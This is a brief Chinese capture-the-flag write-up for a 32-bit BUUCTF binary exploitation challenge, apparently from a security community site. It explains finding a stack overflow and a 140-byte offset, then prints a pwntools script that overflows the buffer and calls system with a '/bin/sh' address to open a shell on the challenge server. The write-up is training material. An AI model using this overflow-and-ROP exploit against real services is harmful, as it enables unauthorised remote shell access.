话不多说,直接上题(BUUCTF)

32位 IDA 反编译

啊哈,一眼存在栈溢出

查看内存需 140 个字节覆盖

Shift + F12 查看字符串,有可利用函数与字符串,构造 ROP

在 plt 表中拿到 system 地址

32 位中调用 system 函数时需要传入一个将来的返回地址,这个返回地址随意,但必须要有,返回地址后面则是参数
from pwn import *
p = remote('node5.buuoj.cn',29920)
binsh = 0x0804a024
system = 0x08048320
p.recvuntil('Input:\n')
payload = b'a' * 140 + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END













![表情[se] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/se.gif)
![表情[zhayanjian] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/zhayanjian.gif)
![表情[jie] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/jie.gif)
![表情[qiang] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/qiang.gif)



暂无评论内容